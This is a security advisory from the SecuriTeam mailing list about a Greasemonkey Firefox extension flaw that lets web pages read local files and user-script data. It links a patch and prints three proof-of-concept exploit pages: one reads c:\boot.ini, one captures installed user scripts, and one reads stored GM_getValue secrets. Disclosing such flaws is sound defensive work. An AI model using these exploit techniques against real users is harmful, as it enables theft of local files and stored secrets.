[NEWS] Greasemonkey Information Disclosure Vulnerability

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Greasemonkey Information Disclosure Vulnerability
------------------------------------------------------------------------

SUMMARY

" <http://greasemonkey.mozdev.org/> Greasemonkey is a
<http://www.mozilla.org/products/firefox/> Firefox extension which lets
users add user scripts (DHTML, technically) to any web page. These
scripts can change any aspect of a web page s behavior, interaction, or
design. This little baby is going to blow up business models."

A security vulnerability discovered in Greasemonkey allows websites that
matches at least one user script (even * scripts) to read any local file
on your machine, or to list the contents of local directories. This flaw
applies to Greasemonkey on all platforms.

DETAILS

A vulnerability was identified in Greasemonkey, which could be exploited
by remote attackers to read arbitrary files on a vulnerable system. This
flaw is due to a design error when using insecure "GM_*" functions (i.e.
GM_xmlhttpRequest, GM_getValue, or GM_getValue), which could be exploited
via a malicious web page to read any file on a vulnerable system or list
the contents of local directories.

Patch Availability:

<https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&id=748> https://addons.mozilla.org/extensions/moreinfo.php?application=firefox&id=748

Exploits:
// Proof of concept exploits by Mark Pilgrim
// #1 - Will disclose the contents of c:\boot.ini
< html>
< head>
< script type="text/javascript">
window._GM_xmlhttpRequest = null;

function trapGM03(sPropertyName, sOldValue, sNewValue) {
window._GM_xmlhttpRequest = window.GM_xmlhttpRequest;
return sNewValue;
}
function trapGM04(sPropertyName, sOldValue, sNewValue) {
window._GM_xmlhttpRequest = sNewValue[0];
return sNewValue;
}
function checkGM() {
if (window._GM_xmlhttpRequest) {
window._GM_xmlhttpRequest({method: 'GET', url: 'file:///c:/boot.ini',
onload:
function(oResponseDetails) { document.body.innerHTML = '< pre>' +
oResponseDetails.responseText; }});
}
}
if (typeof window.addEventListener != 'undefined') {
window.watch('GM_log', trapGM03);
window.watch('GM_apis', trapGM04);
window.addEventListener('load', checkGM, true);
}
< /script>

< title>GM_xmlhttpRequest leakage demo< /title>
< /head>
< body>
< /body>
< /html>

--------------------------------------------

// #2 - User Scripts Disclosure
< html>
< head>
< script type="text/javascript">
window._GM_scripts = [];
document._numPreviousScripts =
document.getElementsByTagName('script').length;

function trapInsertScript(event) {
var doc = event.currentTarget;
var arScripts = doc.getElementsByTagName('script');
if (arScripts.length > document._numPreviousScripts) {
window._GM_scripts.push(arScripts[document._numPreviousScripts].innerHTML);
}
}
function trapGM(sPropertyName, sOldValue, sNewValue) {
document.addEventListener('DOMNodeInserted', trapInsertScript, true);
return sNewValue;
}
function checkGM() {
document.removeEventListener('DOMNodeInserted', trapInsertScript, true);
var elmMessage = document.getElementById('message');
if (!window._GM_scripts.length) {
elmMessage.innerHTML = 'You do not appear to be running any Greasemonkey
scripts,
or the test failed for some reason. Try installing some user scripts that
run on all pages,
then refresh this page.';
return; }
var elmForm = document.getElementById('f');
for (var i = 0; i < window._GM_scripts.length; i++) {
var elmTextarea = document.createElement('textarea');
elmTextarea.rows = 20;
elmTextarea.cols = 80;
elmTextarea.value = window._GM_scripts[i];
elmForm.appendChild(elmTextarea);
elmForm.appendChild(document.createElement('br'));
if (!elmMessage.innerHTML) {
elmMessage.innerHTML = 'You appear to be running the following
Greasemonkey user
scripts on this page:';
}
}
}
if (typeof window.addEventListener != 'undefined') {
window.watch('GM_log', trapGM); // GM 0.3
window.watch('GM_apis', trapGM); // GM 0.4
window.addEventListener('load', checkGM, true);
}
< /script>

< title>Greasemonkey script leakage demo< /title>
< /head>
< body>
< p id="message">< /p>
< form id="f">< /form>
< /body>
< /html>

--------------------------------------------

// #3 - GM_setValue / GM_getValue Information disclosure
< html>
< head>
< script type="text/javascript">
window._GM_getValue = [];

function trapGM03(sPropertyName, sOldValue, sNewValue) {
window._GM_getValue.push(window.GM_getValue);
return sNewValue;
}
function trapGM04(sPropertyName, sOldValue, sNewValue) {
window._GM_getValue.push(sNewValue[3]);
return sNewValue;
}
function checkGM() {
if (window._GM_getValue.length) {
for (var i = 0; i < window._GM_getValue.length; i++) {
var fGetValue = window._GM_getValue[i];
var sValue = fGetValue('my.secret.key');
if (sValue) {
document.getElementById('message').innerHTML =
'GM_getValue("my.secret.key") =
' + sValue;
break;
}
}
}
}
if (typeof window.addEventListener != 'undefined') {
window.watch('GM_log', trapGM03);
window.watch('GM_apis', trapGM04);
window.addEventListener('load', checkGM, true);
}
< /script>

< title>Greasemonkey function leakage demo< /title>
< /head>
< body>
< p id="message">Install < a
href="mysecretkey.user.js">mysecretkey.user.js< /a>,
then refresh this page.< /p>
< - mysecretkey.user.js contains : GM_setValue('my.secret.key', 'f00bar');
->
< /body>
< /html>

ADDITIONAL INFORMATION

The original article can be found at:
<http://www.frsirt.com/english/advisories/2005/1147>
http://www.frsirt.com/english/advisories/2005/1147

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.